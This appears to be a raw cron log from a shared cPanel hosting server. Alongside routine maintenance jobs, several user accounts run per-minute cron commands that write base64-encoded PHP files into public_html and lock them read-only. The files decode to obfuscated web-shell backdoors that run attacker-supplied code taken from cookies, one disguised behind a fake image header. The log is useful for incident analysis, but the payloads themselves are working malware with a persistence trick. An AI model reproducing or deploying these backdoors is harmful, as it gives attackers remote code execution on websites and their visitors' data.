Apr 19 05:30:02 medusa CROND[20712]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:31:01 medusa CROND[25038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:31:01 medusa CROND[25157]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:31:01 medusa CROND[25161]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:31:01 medusa CROND[25162]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:31:01 medusa CROND[25163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:31:01 medusa CROND[25168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:31:01 medusa CROND[25170]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:31:01 medusa CROND[25171]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:31:01 medusa CROND[25172]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:31:01 medusa CROND[25174]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:31:01 medusa CROND[25178]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:31:01 medusa CROND[25181]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:31:01 medusa CROND[25173]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:32:01 medusa CROND[31963]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:32:01 medusa CROND[32196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:32:01 medusa CROND[32198]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:32:01 medusa CROND[32199]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:32:01 medusa CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:32:01 medusa CROND[32200]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:32:01 medusa CROND[32201]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:32:01 medusa CROND[32202]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:32:01 medusa CROND[32222]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:32:01 medusa CROND[32221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:32:01 medusa CROND[32231]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:32:01 medusa CROND[32232]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:32:01 medusa CROND[32233]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:33:01 medusa CROND[15921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:33:01 medusa CROND[15922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:33:01 medusa CROND[16017]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:33:01 medusa CROND[16091]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:33:01 medusa CROND[16095]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:33:01 medusa CROND[16097]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
